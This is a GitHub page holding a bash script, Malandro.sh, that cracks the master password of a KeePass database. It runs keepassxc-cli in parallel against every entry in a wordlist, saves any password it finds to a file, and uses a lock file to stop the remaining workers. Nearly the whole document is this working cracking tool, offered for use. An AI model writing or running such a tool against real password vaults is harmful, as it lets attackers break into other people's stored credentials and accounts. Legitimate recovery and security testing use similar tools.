-
Notifications
You must be signed in to change notification settings - Fork 0
/
Malandro.sh
55 lines (43 loc) · 1.55 KB
/
Malandro.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
# Optimized Malandro.sh with GNU Parallel and file lock
# Requires: keepassxc-cli, GNU Parallel
version="1.3 (Optimized with File Lock)"
echo -e "Malandro.sh $version by Dgmtnz (Optimized with File Lock)"
echo -e "https://github.com/Dgmtnz/Malandro.sh\n"
if [ $# -ne 2 ]; then
echo "Usage $0 <kdbx-file> <wordlist>"
exit 2
fi
dep="keepassxc-cli"
command -v $dep >/dev/null 2>&1 || { echo >&2 "Error: $dep not installed. Aborting."; exit 1; }
n_total=$(wc -l < "$2")
start_time=$(date +%s)
export n_total start_time
# Limpiar el archivo de bloqueo y el archivo de salida si existen
rm -f password_encontrada.lock password_encontrada.txt
# Define a function for checking each password
function check_password() {
local line="$1"
# Verificar si otro proceso ya encontró la contraseña
if [ -f password_encontrada.lock ]; then
exit 0
fi
# Intentar abrir la base de datos con la contraseña actual
if echo "$line" | keepassxc-cli open "$2" &> /dev/null; then
echo "[*] Password found: $line"
echo "$line" > password_encontrada.txt # Guardar la contraseña en un archivo
touch password_encontrada.lock # Crear el archivo de bloqueo para detener otros procesos
exit 0
fi
}
export -f check_password
# Use GNU Parallel to read passwords from the wordlist file
parallel --bar check_password {} "$1" :::: "$2"
# Verificar si la contraseña fue encontrada
if [ -f password_encontrada.txt ]; then
echo "Password encontrada y guardada en password_encontrada.txt"
exit 0
else
echo "[!] Wordlist exhausted, no match found"
exit 3
fi